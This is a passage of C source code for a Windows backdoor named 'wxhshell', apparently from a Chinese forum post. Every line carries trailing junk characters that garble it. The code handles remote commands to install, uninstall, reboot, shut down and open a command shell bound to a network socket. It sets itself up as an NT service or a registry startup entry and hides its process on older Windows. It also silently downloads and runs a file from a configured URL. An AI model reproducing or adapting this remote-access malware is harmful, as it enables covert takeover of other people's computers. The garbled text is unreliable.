  aU^6FI  
  // 帮助 Fm,` ]CO  
  case '?': { mEsb_3?#+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -%@ah:iJ  
    break; *tgu@9b  
  } G!;PV^6x  
  // 安装 D}LM(s3li7  
  case 'i': { m\X\Xp~A  
    if(Install()) D>-r `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -0x Q'1I  
    else x7U=1y(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XbB(<\0+  
    break; G}9f/$'3  
    } c!/ +0[  
  // 卸载 X6r0+D5AvB  
  case 'r': { qz{9ND| )  
    if(Uninstall()) YO$D-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {(!JYz~P  
    else 1 l"2 ~k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rM"27ud[`_  
    break; d?T!)w  
    } b5LToy:  
  // 显示 wxhshell 所在路径 `Y5LAt:  
  case 'p': { -(]C FnD_N  
    char svExeFile[MAX_PATH]; f!`? _  
    strcpy(svExeFile,"\n\r"); N)G HQlgH  
      strcat(svExeFile,ExeFile); [&PF ;)i  
        send(wsh,svExeFile,strlen(svExeFile),0); kM{8zpn  
    break; bXOKC  
    } dpw-a4o}  
  // 重启 ; Byt'S  
  case 'b': { {;u,04OVK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4P k%+l  
    if(Boot(REBOOT))  d]`6N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .JXEw%I@  
    else { hHU=lnO  
    closesocket(wsh); ^2nrA pF  
    ExitThread(0); %,_ZVgh0  
    } [Hx(a.,d  
    break; vxj:Y'}  
    } h_[{-WC  
  // 关机 }!oEjcX'  
  case 'd': { .i I{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T+ZA"i+  
    if(Boot(SHUTDOWN)) $3G^}A"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O573AA  
    else { zMFTkDY  
    closesocket(wsh); ld@+p  
    ExitThread(0); eIY`RMo (  
    } |HD>m'e  
    break; i7XY3yhC  
    } YWl#!"-  
  // 获取shell lAP k/G  
  case 's': { U?le|tK  
    CmdShell(wsh); -smN}*3[  
    closesocket(wsh); 0Eb4wupo  
    ExitThread(0); EXCE^Vw  
    break; 95z|}16UK  
  } 1 >j,v+  
  // 退出 *k62Qz3  
  case 'x': { u,So+%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *VsVCUCz5*  
    CloseIt(wsh); RI&O@?+U  
    break; P'lnS&yA  
    } t-iXY0%&  
  // 离开 b;UBvwY_  
  case 'q': { tfGs| x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j'z#V_S  
    closesocket(wsh); W_ `]7RO8  
    WSACleanup(); /)sP, 2/  
    exit(1); .EL3}6"A  
    break; .i RKuBM/  
        } +ig%_QED[\  
  } Lc{arhN  
  } @"MYq#2c$  
M/=36{,w-  
  // 提示信息 ,r w4Lo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /B@{w-N  
} a31e.3 6g  
  } !Ud'(iGa  
9f( X7kt  
  return; :}zyd;Rc  
} |NZi2Bu  
v"o"W[  
// shell模块句柄 \mc0fY  
int CmdShell(SOCKET sock) >0{}tRm-P&  
{ FtIcA"^N  
STARTUPINFO si; LUMbRrD-  
ZeroMemory(&si,sizeof(si));  n?EgC8b9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?[Lk]A&"L2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GpeW<% \P  
PROCESS_INFORMATION ProcessInfo; hT X[W%K  
char cmdline[]="cmd"; Bdt6 w(`^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &L+uu',M0c  
  return 0; \Mg_Q$  
} 1n8[fgz  
e.n(NW  
// 自身启动模式 "=Br&FN{|  
int StartFromService(void) 1P!)4W  
{ [P`e @$  
typedef struct mZR3Hl$  
{ #{q.s[g*+1  
  DWORD ExitStatus; d2`g,~d  
  DWORD PebBaseAddress; P"_/P8  
  DWORD AffinityMask; RhE~-b[X  
  DWORD BasePriority; Ik0g(-d  
  ULONG UniqueProcessId; (?|M'gZ  
  ULONG InheritedFromUniqueProcessId; p"ytt|H  
}   PROCESS_BASIC_INFORMATION; p0@^1  
GEWjQ;g  
PROCNTQSIP NtQueryInformationProcess; v745F Iy<  
{|?^@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '[{<a Eo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UucI>E3?P{  
X/~uF 9a'<  
  HANDLE             hProcess; b"h'7C/  
  PROCESS_BASIC_INFORMATION pbi; 7&ED>Bk  
bqcCA9 1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AEyvljv  
  if(NULL == hInst ) return 0; ]u|fLK.|  
53])@Mmus  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8z#Qp(he  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F^u12R)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WTfjn |a  
m\`>N_4*9  
  if (!NtQueryInformationProcess) return 0; e2O6q05 ?Q  
WA`A/`taT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :-1|dE)U  
  if(!hProcess) return 0; R/hI XO  
~lw9sm*2v2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *S.U8;*Xj  
dht0PZdx?  
  CloseHandle(hProcess); =u<:'\_  
dkC[SG`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b7QE  
if(hProcess==NULL) return 0; Za:j;u Y  
gg/`{  
HMODULE hMod; ?_NKyiu95  
char procName[255]; "hsT^sy  
unsigned long cbNeeded; F` U~(>u'  
`6U!\D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` =>}*GS  
M13HD/~O  
  CloseHandle(hProcess); VzP az\e  
3kn-tM  
if(strstr(procName,"services")) return 1; // 以服务启动 G4)~p!TSQ  
;g|Vt}a&4  
  return 0; // 注册表启动 <Y]LY_(  
} tk"+ u_uw  
nuce(R  
// 主模块 X94a  
int StartWxhshell(LPSTR lpCmdLine) mJSfn"b}K  
{ c#n 2 !  
  SOCKET wsl; }s~c(sL?;  
BOOL val=TRUE; Y sM*d  
  int port=0; |b   
  struct sockaddr_in door; SI}s  
E/zf9\  
  if(wscfg.ws_autoins) Install(); ']M/'CcM  
cM#rus?)+  
port=atoi(lpCmdLine); 2e`}O  
jxog8 E  
if(port<=0) port=wscfg.ws_port; |toP8 6  
yb`PMjj15  
  WSADATA data; FZHA19Kb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !jj`Ht)  
P%3pM*.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8z9 {H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #{cy(&cz  
  door.sin_family = AF_INET; @aIgif+v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @5>#<LV=E#  
  door.sin_port = htons(port); cLtVj2Wb  
/LD3Bb)O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t3;Zx+Br  
closesocket(wsl); }%|ewy9|CW  
return 1; J&xZN8jW   
} .GrOdDK$ns  
`/8@Fj  
  if(listen(wsl,2) == INVALID_SOCKET) { u^Q`xd1  
closesocket(wsl); '75T2Ud  
return 1; WK{`_c U^  
} 51|ky-  
  Wxhshell(wsl); ~>u .d  
  WSACleanup(); cQU/z"?+  
EeuYRyK  
return 0; EQ1**[$  
]  ,|,/~  
} QaWS%0go  
1JJsYX  
// 以NT服务方式启动 owAO&"C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }p)K6!J0  
{ @oXGa>Ru  
DWORD   status = 0; D-gH_ff<]9  
  DWORD   specificError = 0xfffffff; IG^@VQ%  
iGyetFqKw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \@<7Vo,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4EB\R"rWXf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jI-a+LnEm  
  serviceStatus.dwWin32ExitCode     = 0; ?.~1%l!  
  serviceStatus.dwServiceSpecificExitCode = 0; &\h7E   
  serviceStatus.dwCheckPoint       = 0; 98[uRywI  
  serviceStatus.dwWaitHint       = 0; B~Sj#(WEa  
&LLU@|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &uq.k{<p\  
  if (hServiceStatusHandle==0) return; &K^0PzWWof  
UC!mp?   
status = GetLastError(); tB_le>rhl  
  if (status!=NO_ERROR) ai !u+L  
{ v3-/ [-XB:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /$~1e7 W  
    serviceStatus.dwCheckPoint       = 0; KWJVc `  
    serviceStatus.dwWaitHint       = 0; _#8hgwf>  
    serviceStatus.dwWin32ExitCode     = status; aacy5E  
    serviceStatus.dwServiceSpecificExitCode = specificError; pjeNBSu6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sZ `Tv[  
    return; AxEyXT(h5  
  } &G {GLP?H  
&o:5lxR{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [M|^e;tWK  
  serviceStatus.dwCheckPoint       = 0; =*\s`ox`  
  serviceStatus.dwWaitHint       = 0; ;blL\|ch;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Z`}!%?  
} \""^'pP@  
({uW-%  
// 处理NT服务事件,比如:启动、停止 ]Ry9{:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NRRJlY S  
{ _7c3=f83  
switch(fdwControl) s(,S~  
{ =ZgueUz,  
case SERVICE_CONTROL_STOP: iE%"Q? Q/  
  serviceStatus.dwWin32ExitCode = 0; x YS81  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~A0]vcP  
  serviceStatus.dwCheckPoint   = 0; :'%6  
  serviceStatus.dwWaitHint     = 0; 'Y?-."eKh  
  { X=)V<2WO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bLc5$U$!I  
  } CoN[Yf3\  
  return; Al$z.i?R  
case SERVICE_CONTROL_PAUSE: oi #B7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wuqe{?  
  break; (NJ{>@&  
case SERVICE_CONTROL_CONTINUE: LlTD =tJ0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )%(ZFn}  
  break; u6|C3,!z"  
case SERVICE_CONTROL_INTERROGATE: oF%m  
  break; kg/B<w'  
}; i VSNara  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :5YIoC  
} ]N>ZOV,>  
#:)'D?,  
// 标准应用程序主函数 )V1XL   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t@%w:*&  
{ ^~4]"J};M  
N?\X 2J1  
// 获取操作系统版本 K~(RV4oF8B  
OsIsNt=GetOsVer(); I%T+H[,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pbMANZU[  
(,Y[2_Zv  
  // 从命令行安装 -&/?&{Q0  
  if(strpbrk(lpCmdLine,"iI")) Install(); oW^b,{~V  
ZrN(M p  
  // 下载执行文件 &;PxDlY5  
if(wscfg.ws_downexe) { ^y5A\nz&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [$y(>] ~.  
  WinExec(wscfg.ws_filenam,SW_HIDE); dX[I :,z*  
} j=sfE qN).  
T KZtoQP%  
if(!OsIsNt) { TOG:`FID  
// 如果时win9x,隐藏进程并且设置为注册表启动 7[ ovEE54  
HideProc(); +gl\l?>sr  
StartWxhshell(lpCmdLine); dSDZMB sd  
} ~&?([}A  
else 2BccE  
  if(StartFromService()) WK%cbFq(  
  // 以服务方式启动 XYcZ;Z9:  
  StartServiceCtrlDispatcher(DispatchTable); I9?\Jbqg  
else +M j 6.X  
  // 普通方式启动 ;lMvxt:  
  StartWxhshell(lpCmdLine); 0R?1|YnB  
5`h 6oFxGp  
return 0; @c~Z0+Ji  
}
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只看该作者 1 发表于: 2006-10-10
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